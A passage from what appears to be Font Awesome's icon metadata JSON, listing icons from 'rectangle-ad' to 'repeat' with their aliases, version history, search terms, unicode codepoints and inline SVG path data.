      "terms": ["advertisement", "media", "newspaper", "promotion", "publicity"]
    },
    "styles": ["solid"],
    "unicode": "f641",
    "label": "Rectangle Ad",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM229.5 173.3l72 144c5.9 11.9 1.1 26.3-10.7 32.2s-26.3 1.1-32.2-10.7L253.2 328H162.8l-5.4 10.7c-5.9 11.9-20.3 16.7-32.2 10.7s-16.7-20.3-10.7-32.2l72-144c4.1-8.1 12.4-13.3 21.5-13.3s17.4 5.1 21.5 13.3zM208 237.7L186.8 280h42.3L208 237.7zM392 256a24 24 0 1 0 0 48 24 24 0 1 0 0-48zm24-43.9V184c0-13.3 10.7-24 24-24s24 10.7 24 24v96 48c0 13.3-10.7 24-24 24c-6.6 0-12.6-2.7-17-7c-9.4 4.5-19.9 7-31 7c-39.8 0-72-32.2-72-72s32.2-72 72-72c8.4 0 16.5 1.4 24 4.1z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM229.5 173.3l72 144c5.9 11.9 1.1 26.3-10.7 32.2s-26.3 1.1-32.2-10.7L253.2 328H162.8l-5.4 10.7c-5.9 11.9-20.3 16.7-32.2 10.7s-16.7-20.3-10.7-32.2l72-144c4.1-8.1 12.4-13.3 21.5-13.3s17.4 5.1 21.5 13.3zM208 237.7L186.8 280h42.3L208 237.7zM392 256a24 24 0 1 0 0 48 24 24 0 1 0 0-48zm24-43.9V184c0-13.3 10.7-24 24-24s24 10.7 24 24v96 48c0 13.3-10.7 24-24 24c-6.6 0-12.6-2.7-17-7c-9.4 4.5-19.9 7-31 7c-39.8 0-72-32.2-72-72s32.2-72 72-72c8.4 0 16.5 1.4 24 4.1z"
      }
    },
    "free": ["solid"]
  },
  "rectangle-list": {
    "aliases": {
      "names": ["list-alt"],
      "unicodes": {
        "secondary": ["10f022"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "checklist",
        "completed",
        "done",
        "finished",
        "ol",
        "todo",
        "ul"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f022",
    "label": "Rectangle List",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767206,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 96C0 60.7 28.7 32 64 32H512c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zM128 288a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm32-128a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM128 384a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm96-248c-13.3 0-24 10.7-24 24s10.7 24 24 24H448c13.3 0 24-10.7 24-24s-10.7-24-24-24H224zm0 96c-13.3 0-24 10.7-24 24s10.7 24 24 24H448c13.3 0 24-10.7 24-24s-10.7-24-24-24H224zm0 96c-13.3 0-24 10.7-24 24s10.7 24 24 24H448c13.3 0 24-10.7 24-24s-10.7-24-24-24H224z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M0 96C0 60.7 28.7 32 64 32H512c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zM128 288a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm32-128a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM128 384a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm96-248c-13.3 0-24 10.7-24 24s10.7 24 24 24H448c13.3 0 24-10.7 24-24s-10.7-24-24-24H224zm0 96c-13.3 0-24 10.7-24 24s10.7 24 24 24H448c13.3 0 24-10.7 24-24s-10.7-24-24-24H224zm0 96c-13.3 0-24 10.7-24 24s10.7 24 24 24H448c13.3 0 24-10.7 24-24s-10.7-24-24-24H224z"
      },
      "regular": {
        "last_modified": 1684767206,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M64 80c-8.8 0-16 7.2-16 16V416c0 8.8 7.2 16 16 16H512c8.8 0 16-7.2 16-16V96c0-8.8-7.2-16-16-16H64zM0 96C0 60.7 28.7 32 64 32H512c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zm96 64a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm104 0c0-13.3 10.7-24 24-24H448c13.3 0 24 10.7 24 24s-10.7 24-24 24H224c-13.3 0-24-10.7-24-24zm0 96c0-13.3 10.7-24 24-24H448c13.3 0 24 10.7 24 24s-10.7 24-24 24H224c-13.3 0-24-10.7-24-24zm0 96c0-13.3 10.7-24 24-24H448c13.3 0 24 10.7 24 24s-10.7 24-24 24H224c-13.3 0-24-10.7-24-24zm-72-64a32 32 0 1 1 0-64 32 32 0 1 1 0 64zM96 352a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M64 80c-8.8 0-16 7.2-16 16V416c0 8.8 7.2 16 16 16H512c8.8 0 16-7.2 16-16V96c0-8.8-7.2-16-16-16H64zM0 96C0 60.7 28.7 32 64 32H512c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zm96 64a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm104 0c0-13.3 10.7-24 24-24H448c13.3 0 24 10.7 24 24s-10.7 24-24 24H224c-13.3 0-24-10.7-24-24zm0 96c0-13.3 10.7-24 24-24H448c13.3 0 24 10.7 24 24s-10.7 24-24 24H224c-13.3 0-24-10.7-24-24zm0 96c0-13.3 10.7-24 24-24H448c13.3 0 24 10.7 24 24s-10.7 24-24 24H224c-13.3 0-24-10.7-24-24zm-72-64a32 32 0 1 1 0-64 32 32 0 1 1 0 64zM96 352a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z"
      }
    },
    "free": ["regular", "solid"]
  },
  "rectangle-xmark": {
    "aliases": {
      "names": ["rectangle-times", "times-rectangle", "window-close"],
      "unicodes": {
        "composite": ["f2d4"],
        "secondary": ["10f410"]
      }
    },
    "changes": [
      "4.7.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["browser", "cancel", "computer", "development"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f410",
    "label": "Rectangle Xmark",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767551,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM175 175c9.4-9.4 24.6-9.4 33.9 0l47 47 47-47c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-47 47 47 47c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-47-47-47 47c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l47-47-47-47c-9.4-9.4-9.4-24.6 0-33.9z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM175 175c9.4-9.4 24.6-9.4 33.9 0l47 47 47-47c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-47 47 47 47c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-47-47-47 47c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l47-47-47-47c-9.4-9.4-9.4-24.6 0-33.9z"
      },
      "regular": {
        "last_modified": 1684767551,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M64 80c-8.8 0-16 7.2-16 16V416c0 8.8 7.2 16 16 16H448c8.8 0 16-7.2 16-16V96c0-8.8-7.2-16-16-16H64zM0 96C0 60.7 28.7 32 64 32H448c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zm175 79c9.4-9.4 24.6-9.4 33.9 0l47 47 47-47c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-47 47 47 47c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-47-47-47 47c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l47-47-47-47c-9.4-9.4-9.4-24.6 0-33.9z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M64 80c-8.8 0-16 7.2-16 16V416c0 8.8 7.2 16 16 16H448c8.8 0 16-7.2 16-16V96c0-8.8-7.2-16-16-16H64zM0 96C0 60.7 28.7 32 64 32H448c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zm175 79c9.4-9.4 24.6-9.4 33.9 0l47 47 47-47c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-47 47 47 47c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-47-47-47 47c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l47-47-47-47c-9.4-9.4-9.4-24.6 0-33.9z"
      }
    },
    "free": ["regular", "solid"]
  },
  "recycle": {
    "aliases": {
      "unicodes": {
        "composite": ["2672", "267a", "267b"],
        "secondary": ["10f1b8"]
      }
    },
    "changes": ["4.1.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Recycling Symbol For Generic Materials",
        "Universal Recycling Symbol",
        "Waste",
        "compost",
        "garbage",
        "recycle",
        "recycling symbol",
        "reuse",
        "trash"
      ]
    },
    "styles": ["solid"],
    "unicode": "f1b8",
    "label": "Recycle",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766330,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M174.7 45.1C192.2 17 223 0 256 0s63.8 17 81.3 45.1l38.6 61.7 27-15.6c8.4-4.9 18.9-4.2 26.6 1.7s11.1 15.9 8.6 25.3l-23.4 87.4c-3.4 12.8-16.6 20.4-29.4 17l-87.4-23.4c-9.4-2.5-16.3-10.4-17.6-20s3.4-19.1 11.8-23.9l28.4-16.4L283 79c-5.8-9.3-16-15-27-15s-21.2 5.7-27 15l-17.5 28c-9.2 14.8-28.6 19.5-43.6 10.5c-15.3-9.2-20.2-29.2-10.7-44.4l17.5-28zM429.5 251.9c15-9 34.4-4.3 43.6 10.5l24.4 39.1c9.4 15.1 14.4 32.4 14.6 50.2c.3 53.1-42.7 96.4-95.8 96.4L320 448v32c0 9.7-5.8 18.5-14.8 22.2s-19.3 1.7-26.2-5.2l-64-64c-9.4-9.4-9.4-24.6 0-33.9l64-64c6.9-6.9 17.2-8.9 26.2-5.2s14.8 12.5 14.8 22.2v32l96.2 0c17.6 0 31.9-14.4 31.8-32c0-5.9-1.7-11.7-4.8-16.7l-24.4-39.1c-9.5-15.2-4.7-35.2 10.7-44.4zm-364.6-31L36 204.2c-8.4-4.9-13.1-14.3-11.8-23.9s8.2-17.5 17.6-20l87.4-23.4c12.8-3.4 26 4.2 29.4 17L182 241.2c2.5 9.4-.9 19.3-8.6 25.3s-18.2 6.6-26.6 1.7l-26.5-15.3L68.8 335.3c-3.1 5-4.8 10.8-4.8 16.7c-.1 17.6 14.2 32 31.8 32l32.2 0c17.7 0 32 14.3 32 32s-14.3 32-32 32l-32.2 0C42.7 448-.3 404.8 0 351.6c.1-17.8 5.1-35.1 14.6-50.2l50.3-80.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M174.7 45.1C192.2 17 223 0 256 0s63.8 17 81.3 45.1l38.6 61.7 27-15.6c8.4-4.9 18.9-4.2 26.6 1.7s11.1 15.9 8.6 25.3l-23.4 87.4c-3.4 12.8-16.6 20.4-29.4 17l-87.4-23.4c-9.4-2.5-16.3-10.4-17.6-20s3.4-19.1 11.8-23.9l28.4-16.4L283 79c-5.8-9.3-16-15-27-15s-21.2 5.7-27 15l-17.5 28c-9.2 14.8-28.6 19.5-43.6 10.5c-15.3-9.2-20.2-29.2-10.7-44.4l17.5-28zM429.5 251.9c15-9 34.4-4.3 43.6 10.5l24.4 39.1c9.4 15.1 14.4 32.4 14.6 50.2c.3 53.1-42.7 96.4-95.8 96.4L320 448v32c0 9.7-5.8 18.5-14.8 22.2s-19.3 1.7-26.2-5.2l-64-64c-9.4-9.4-9.4-24.6 0-33.9l64-64c6.9-6.9 17.2-8.9 26.2-5.2s14.8 12.5 14.8 22.2v32l96.2 0c17.6 0 31.9-14.4 31.8-32c0-5.9-1.7-11.7-4.8-16.7l-24.4-39.1c-9.5-15.2-4.7-35.2 10.7-44.4zm-364.6-31L36 204.2c-8.4-4.9-13.1-14.3-11.8-23.9s8.2-17.5 17.6-20l87.4-23.4c12.8-3.4 26 4.2 29.4 17L182 241.2c2.5 9.4-.9 19.3-8.6 25.3s-18.2 6.6-26.6 1.7l-26.5-15.3L68.8 335.3c-3.1 5-4.8 10.8-4.8 16.7c-.1 17.6 14.2 32 31.8 32l32.2 0c17.7 0 32 14.3 32 32s-14.3 32-32 32l-32.2 0C42.7 448-.3 404.8 0 351.6c.1-17.8 5.1-35.1 14.6-50.2l50.3-80.5z"
      }
    },
    "free": ["solid"]
  },
  "red-river": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3e3",
    "label": "red river",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014479,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M353.2 32H94.8C42.4 32 0 74.4 0 126.8v258.4C0 437.6 42.4 480 94.8 480h258.4c52.4 0 94.8-42.4 94.8-94.8V126.8c0-52.4-42.4-94.8-94.8-94.8zM144.9 200.9v56.3c0 27-21.9 48.9-48.9 48.9V151.9c0-13.2 10.7-23.9 23.9-23.9h154.2c0 27-21.9 48.9-48.9 48.9h-56.3c-12.3-.6-24.6 11.6-24 24zm176.3 72h-56.3c-12.3-.6-24.6 11.6-24 24v56.3c0 27-21.9 48.9-48.9 48.9V247.9c0-13.2 10.7-23.9 23.9-23.9h154.2c0 27-21.9 48.9-48.9 48.9z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M353.2 32H94.8C42.4 32 0 74.4 0 126.8v258.4C0 437.6 42.4 480 94.8 480h258.4c52.4 0 94.8-42.4 94.8-94.8V126.8c0-52.4-42.4-94.8-94.8-94.8zM144.9 200.9v56.3c0 27-21.9 48.9-48.9 48.9V151.9c0-13.2 10.7-23.9 23.9-23.9h154.2c0 27-21.9 48.9-48.9 48.9h-56.3c-12.3-.6-24.6 11.6-24 24zm176.3 72h-56.3c-12.3-.6-24.6 11.6-24 24v56.3c0 27-21.9 48.9-48.9 48.9V247.9c0-13.2 10.7-23.9 23.9-23.9h154.2c0 27-21.9 48.9-48.9 48.9z"
      }
    },
    "free": ["brands"]
  },
  "reddit": {
    "changes": ["4.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1a1",
    "label": "reddit Logo",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M201.5 305.5c-13.8 0-24.9-11.1-24.9-24.6 0-13.8 11.1-24.9 24.9-24.9 13.6 0 24.6 11.1 24.6 24.9 0 13.6-11.1 24.6-24.6 24.6zM504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-132.3-41.2c-9.4 0-17.7 3.9-23.8 10-22.4-15.5-52.6-25.5-86.1-26.6l17.4-78.3 55.4 12.5c0 13.6 11.1 24.6 24.6 24.6 13.8 0 24.9-11.3 24.9-24.9s-11.1-24.9-24.9-24.9c-9.7 0-18 5.8-22.1 13.8l-61.2-13.6c-3-.8-6.1 1.4-6.9 4.4l-19.1 86.4c-33.2 1.4-63.1 11.3-85.5 26.8-6.1-6.4-14.7-10.2-24.1-10.2-34.9 0-46.3 46.9-14.4 62.8-1.1 5-1.7 10.2-1.7 15.5 0 52.6 59.2 95.2 132 95.2 73.1 0 132.3-42.6 132.3-95.2 0-5.3-.6-10.8-1.9-15.8 31.3-16 19.8-62.5-14.9-62.5zM302.8 331c-18.2 18.2-76.1 17.9-93.6 0-2.2-2.2-6.1-2.2-8.3 0-2.5 2.5-2.5 6.4 0 8.6 22.8 22.8 87.3 22.8 110.2 0 2.5-2.2 2.5-6.1 0-8.6-2.2-2.2-6.1-2.2-8.3 0zm7.7-75c-13.6 0-24.6 11.1-24.6 24.9 0 13.6 11.1 24.6 24.6 24.6 13.8 0 24.9-11.1 24.9-24.6 0-13.8-11-24.9-24.9-24.9z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M201.5 305.5c-13.8 0-24.9-11.1-24.9-24.6 0-13.8 11.1-24.9 24.9-24.9 13.6 0 24.6 11.1 24.6 24.9 0 13.6-11.1 24.6-24.6 24.6zM504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-132.3-41.2c-9.4 0-17.7 3.9-23.8 10-22.4-15.5-52.6-25.5-86.1-26.6l17.4-78.3 55.4 12.5c0 13.6 11.1 24.6 24.6 24.6 13.8 0 24.9-11.3 24.9-24.9s-11.1-24.9-24.9-24.9c-9.7 0-18 5.8-22.1 13.8l-61.2-13.6c-3-.8-6.1 1.4-6.9 4.4l-19.1 86.4c-33.2 1.4-63.1 11.3-85.5 26.8-6.1-6.4-14.7-10.2-24.1-10.2-34.9 0-46.3 46.9-14.4 62.8-1.1 5-1.7 10.2-1.7 15.5 0 52.6 59.2 95.2 132 95.2 73.1 0 132.3-42.6 132.3-95.2 0-5.3-.6-10.8-1.9-15.8 31.3-16 19.8-62.5-14.9-62.5zM302.8 331c-18.2 18.2-76.1 17.9-93.6 0-2.2-2.2-6.1-2.2-8.3 0-2.5 2.5-2.5 6.4 0 8.6 22.8 22.8 87.3 22.8 110.2 0 2.5-2.2 2.5-6.1 0-8.6-2.2-2.2-6.1-2.2-8.3 0zm7.7-75c-13.6 0-24.6 11.1-24.6 24.9 0 13.6 11.1 24.6 24.6 24.6 13.8 0 24.9-11.1 24.9-24.6 0-13.8-11-24.9-24.9-24.9z"
      }
    },
    "free": ["brands"]
  },
  "reddit-alien": {
    "changes": ["4.5.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f281",
    "label": "reddit Alien",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014471,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M440.3 203.5c-15 0-28.2 6.2-37.9 15.9-35.7-24.7-83.8-40.6-137.1-42.3L293 52.3l88.2 19.8c0 21.6 17.6 39.2 39.2 39.2 22 0 39.7-18.1 39.7-39.7s-17.6-39.7-39.7-39.7c-15.4 0-28.7 9.3-35.3 22l-97.4-21.6c-4.9-1.3-9.7 2.2-11 7.1L246.3 177c-52.9 2.2-100.5 18.1-136.3 42.8-9.7-10.1-23.4-16.3-38.4-16.3-55.6 0-73.8 74.6-22.9 100.1-1.8 7.9-2.6 16.3-2.6 24.7 0 83.8 94.4 151.7 210.3 151.7 116.4 0 210.8-67.9 210.8-151.7 0-8.4-.9-17.2-3.1-25.1 49.9-25.6 31.5-99.7-23.8-99.7zM129.4 308.9c0-22 17.6-39.7 39.7-39.7 21.6 0 39.2 17.6 39.2 39.7 0 21.6-17.6 39.2-39.2 39.2-22 .1-39.7-17.6-39.7-39.2zm214.3 93.5c-36.4 36.4-139.1 36.4-175.5 0-4-3.5-4-9.7 0-13.7 3.5-3.5 9.7-3.5 13.2 0 27.8 28.5 120 29 149 0 3.5-3.5 9.7-3.5 13.2 0 4.1 4 4.1 10.2.1 13.7zm-.8-54.2c-21.6 0-39.2-17.6-39.2-39.2 0-22 17.6-39.7 39.2-39.7 22 0 39.7 17.6 39.7 39.7-.1 21.5-17.7 39.2-39.7 39.2z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M440.3 203.5c-15 0-28.2 6.2-37.9 15.9-35.7-24.7-83.8-40.6-137.1-42.3L293 52.3l88.2 19.8c0 21.6 17.6 39.2 39.2 39.2 22 0 39.7-18.1 39.7-39.7s-17.6-39.7-39.7-39.7c-15.4 0-28.7 9.3-35.3 22l-97.4-21.6c-4.9-1.3-9.7 2.2-11 7.1L246.3 177c-52.9 2.2-100.5 18.1-136.3 42.8-9.7-10.1-23.4-16.3-38.4-16.3-55.6 0-73.8 74.6-22.9 100.1-1.8 7.9-2.6 16.3-2.6 24.7 0 83.8 94.4 151.7 210.3 151.7 116.4 0 210.8-67.9 210.8-151.7 0-8.4-.9-17.2-3.1-25.1 49.9-25.6 31.5-99.7-23.8-99.7zM129.4 308.9c0-22 17.6-39.7 39.7-39.7 21.6 0 39.2 17.6 39.2 39.7 0 21.6-17.6 39.2-39.2 39.2-22 .1-39.7-17.6-39.7-39.2zm214.3 93.5c-36.4 36.4-139.1 36.4-175.5 0-4-3.5-4-9.7 0-13.7 3.5-3.5 9.7-3.5 13.2 0 27.8 28.5 120 29 149 0 3.5-3.5 9.7-3.5 13.2 0 4.1 4 4.1 10.2.1 13.7zm-.8-54.2c-21.6 0-39.2-17.6-39.2-39.2 0-22 17.6-39.7 39.2-39.7 22 0 39.7 17.6 39.7 39.7-.1 21.5-17.7 39.2-39.7 39.2z"
      }
    },
    "free": ["brands"]
  },
  "redhat": {
    "changes": ["5.6.0", "5.8.2"],
    "ligatures": [],
    "search": {
      "terms": ["linux", "operating system", "os"]
    },
    "styles": ["brands"],
    "unicode": "f7bc",
    "label": "Redhat",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014482,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M341.52 285.56c33.65 0 82.34-6.94 82.34-47 .22-6.74.86-1.82-20.88-96.24-4.62-19.15-8.68-27.84-42.31-44.65-26.09-13.34-82.92-35.37-99.73-35.37-15.66 0-20.2 20.17-38.87 20.17-18 0-31.31-15.06-48.12-15.06-16.14 0-26.66 11-34.78 33.62-27.5 77.55-26.28 74.27-26.12 78.27 0 24.8 97.64 106.11 228.47 106.11M429 254.84c4.65 22 4.65 24.35 4.65 27.25 0 37.66-42.33 58.56-98 58.56-125.74.08-235.91-73.65-235.91-122.33a49.55 49.55 0 0 1 4.06-19.72C58.56 200.86 0 208.93 0 260.63c0 84.67 200.63 189 359.49 189 121.79 0 152.51-55.08 152.51-98.58 0-34.21-29.59-73.05-82.93-96.24\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M341.52 285.56c33.65 0 82.34-6.94 82.34-47 .22-6.74.86-1.82-20.88-96.24-4.62-19.15-8.68-27.84-42.31-44.65-26.09-13.34-82.92-35.37-99.73-35.37-15.66 0-20.2 20.17-38.87 20.17-18 0-31.31-15.06-48.12-15.06-16.14 0-26.66 11-34.78 33.62-27.5 77.55-26.28 74.27-26.12 78.27 0 24.8 97.64 106.11 228.47 106.11M429 254.84c4.65 22 4.65 24.35 4.65 27.25 0 37.66-42.33 58.56-98 58.56-125.74.08-235.91-73.65-235.91-122.33a49.55 49.55 0 0 1 4.06-19.72C58.56 200.86 0 208.93 0 260.63c0 84.67 200.63 189 359.49 189 121.79 0 152.51-55.08 152.51-98.58 0-34.21-29.59-73.05-82.93-96.24"
      }
    },
    "free": ["brands"]
  },
  "registered": {
    "aliases": {
      "unicodes": {
        "composite": ["ae"],
        "secondary": ["10f25d"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["copyright", "mark", "r", "registered", "trademark"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f25d",
    "label": "Registered",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM160 152c0-13.3 10.7-24 24-24h88c44.2 0 80 35.8 80 80c0 28-14.4 52.7-36.3 67l34.1 75.1c5.5 12.1 .1 26.3-11.9 31.8s-26.3 .1-31.8-11.9L268.9 288H208v72c0 13.3-10.7 24-24 24s-24-10.7-24-24V264 152zm48 88h64c17.7 0 32-14.3 32-32s-14.3-32-32-32H208v64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM160 152c0-13.3 10.7-24 24-24h88c44.2 0 80 35.8 80 80c0 28-14.4 52.7-36.3 67l34.1 75.1c5.5 12.1 .1 26.3-11.9 31.8s-26.3 .1-31.8-11.9L268.9 288H208v72c0 13.3-10.7 24-24 24s-24-10.7-24-24V264 152zm48 88h64c17.7 0 32-14.3 32-32s-14.3-32-32-32H208v64z"
      },
      "regular": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM160 152V264v96c0 13.3 10.7 24 24 24s24-10.7 24-24V288h60.9l37.2 81.9c5.5 12.1 19.7 17.4 31.8 11.9s17.4-19.7 11.9-31.8L315.7 275c21.8-14.3 36.3-39 36.3-67c0-44.2-35.8-80-80-80H184c-13.3 0-24 10.7-24 24zm48 88V176h64c17.7 0 32 14.3 32 32s-14.3 32-32 32H208z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM160 152V264v96c0 13.3 10.7 24 24 24s24-10.7 24-24V288h60.9l37.2 81.9c5.5 12.1 19.7 17.4 31.8 11.9s17.4-19.7 11.9-31.8L315.7 275c21.8-14.3 36.3-39 36.3-67c0-44.2-35.8-80-80-80H184c-13.3 0-24 10.7-24 24zm48 88V176h64c17.7 0 32 14.3 32 32s-14.3 32-32 32H208z"
      }
    },
    "free": ["regular", "solid"]
  },
  "renren": {
    "changes": ["3.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f18b",
    "label": "Renren",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014467,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M214 169.1c0 110.4-61 205.4-147.6 247.4C30 373.2 8 317.7 8 256.6 8 133.9 97.1 32.2 214 12.5v156.6zM255 504c-42.9 0-83.3-11-118.5-30.4C193.7 437.5 239.9 382.9 255 319c15.5 63.9 61.7 118.5 118.8 154.7C338.7 493 298.3 504 255 504zm190.6-87.5C359 374.5 298 279.6 298 169.1V12.5c116.9 19.7 206 121.4 206 244.1 0 61.1-22 116.6-58.4 159.9z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M214 169.1c0 110.4-61 205.4-147.6 247.4C30 373.2 8 317.7 8 256.6 8 133.9 97.1 32.2 214 12.5v156.6zM255 504c-42.9 0-83.3-11-118.5-30.4C193.7 437.5 239.9 382.9 255 319c15.5 63.9 61.7 118.5 118.8 154.7C338.7 493 298.3 504 255 504zm190.6-87.5C359 374.5 298 279.6 298 169.1V12.5c116.9 19.7 206 121.4 206 244.1 0 61.1-22 116.6-58.4 159.9z"
      }
    },
    "free": ["brands"]
  },
  "repeat": {
    "aliases": {
      "unicodes": {
        "composite": ["1f501"],
        "secondary": ["10f363"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "arrow",
        "clockwise",
        "flip",
        "reload",
        "repeat",
        "repeat button",
        "rewind",
        "switch"
      ]
    },
    "styles": ["solid"],
    "unicode": "f363",
    "label": "Repeat",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
